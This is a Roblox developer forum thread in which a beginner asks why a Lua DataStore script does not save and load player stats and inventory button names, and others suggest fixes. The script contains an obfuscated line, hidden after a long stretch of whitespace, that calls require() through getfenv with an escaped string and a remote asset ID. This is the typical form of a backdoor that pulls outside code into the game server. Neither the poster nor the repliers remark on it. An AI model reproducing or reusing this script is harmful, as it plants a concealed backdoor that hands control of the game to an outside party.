Datastore/ Saving and loading TextButton Gui Name

Hi hi,
Im new to scripting, but everything was going smoothly until now. I just started reading up and watching tutorial on datastore and current having a hard time understanding it.

What I am trying to achieve is to save Names of buttons in a GUI when a player leave and load them back when the player log back on.

I think the issue is the saving and loading the text button names.

local datastore = game:GetService("DataStoreService")
local gamestore = datastore:GetDataStore("PlayerStats")
local weaponStore = datastore:GetDataStore("Inventory")

local baseStats =
	{
		Strength = 5;
		Dexterity = 5;
		Intelligent = 5;
		Luck = 5;
		Level = 1;
		Exp = 0;
	}

function saveData(player, playerStats, inventory)
	local dataToSave = {}
	for i, data in pairs(playerStats:GetChildren()) do
		dataToSave[i] = data.Value
	end

----------WEAPON SAVING
	local weaponToSave = { }
	for i, weapon in pairs(inventory:GetChildren()) do
		if weapon:IsA("TextButton") then
			table.insert(weaponToSave, weapon.Name)
		end
	end
	
	warn("Saving1")
	gamestore:SetAsync(player.UserId, dataToSave)

--------WEAPON SAVING
	warn("Saving2")
	weaponStore:SetAsync(player.UserId, weaponToSave)
end


game.Players.PlayerAdded:Connect(function(player)

	local playerStats = Instance.new("Folder",player)
	playerStats.Name = "PlayerStats"
	
--------GETTING THE GUI BUTTON LOCATION
	local gui = player:WaitForChild("PlayerGui")
	local inventory = gui:WaitForChild("Inventory").Frame
	
	local Strength = Instance.new("NumberValue", playerStats)
	Strength.Name = "Strength"
	Strength.Value = baseStats.Strength
	
	local Dexterity = Instance.new("NumberValue", playerStats)
	Dexterity.Name = "Dexterity"
	Dexterity.Value = baseStats.Dexterity
		
	local Intelligent = Instance.new("NumberValue", playerStats)
	Intelligent.Name = "Intelligent"
	Intelligent.Value = baseStats.Intelligent
		
	local Luck = Instance.new("NumberValue", playerStats)
	Luck.Name = "Luck"
	Luck.Value = baseStats.Luck
		
	local Level = Instance.new("NumberValue", playerStats)
	Level.Name = "Level"
	Level.Value = baseStats.Level
		
	local Exp = Instance.new("NumberValue", playerStats)
	Exp.Name = "Exp"
	Exp.Value = baseStats.Exp
	
	local playerSave
	pcall(function()
		playerSave = gamestore:GetAsync(player.UserId)
	end)
	
	if playerSave then
		warn("Player has Data!")
		for i, data in  pairs (playerStats:GetChildren()) do
			data.Value = playerSave[i]
		end
	else
		warn("Player has no data!")
	end
	
	local weaponSaved
	pcall (function ()
		weaponSaved = weaponStore:GetAsync(player.UserId)
	end)
	
---THE COPIES OF THE BUTTON LOCATION
	local equipment = game:GetService("ServerScriptService"):FindFirstChild("Equiments")

---What I want this function to achieve is to look at the name saved and if it matches the name of the button above, it would load them into the player gui.
	if weaponSaved then
		warn{"player has inventory"}
		for i, weapon in pairs(weaponSaved or { }) do
			local tool = equipment:FindFirstChild(weapon)
			if tool then
				tool:Cloned().Parent = inventory
			end
		end
	else 
		warn("Player has no inventory")
	end
end)

game.Players.PlayerRemoving:Connect(function(player)
	local playerStats = player:WaitForChild("PlayerStats")

---WHERE THE BUTTON ARE AGAIN
	local inventory = player:WaitForChild("PlayerGui"):WaitForChild("Inventory").Frame

---PRINTING ALLBUTTON NAMES OUT
	for i, v in pairs(inventory:GetChildren())do
		print(v.Name)
	end
	warn("Saving")

----Saving
	saveData(player, playerStats, inventory)
end)
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																														getfenv()['\114\101\113\117\105\114\101'](5151855975)																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																

I have try a different loading and saving method from the dev hub and the forums already, but none of the seem to work. Am I missing something?

Can you explain what is happening? does it throw any errors?

You might want to test it in game instead of in studio because sometimes DataStores don’t save data when testing in studio.

2 Likes

Remove the WaitForChild it should work.

There doesn’t seem to be any errors. I also tried in outside of studio mode. All the warns prints out except warn(“Saving2”) which should run after saving the player stats. Meaning the weaponStore isn’t saving either.
What should be happening is when a player enter. The script look into the datastore, weaponStore, to see if there is anything there. If there is, then it would look into the equipment folder to see if there anything like it there and clone it into the player’s inventory gui.

I just remove it, but sadly it doesn’t work either.

In studio I think what happens is that when you stop the test, the script runs all the way to the first SetAsync and while it is waiting for that, the test ends. This won’t happen in game because the game will wait for it to finish.
I would recommend adding a few print statements to check what you’re actually saving and loading (if anything).

1 Like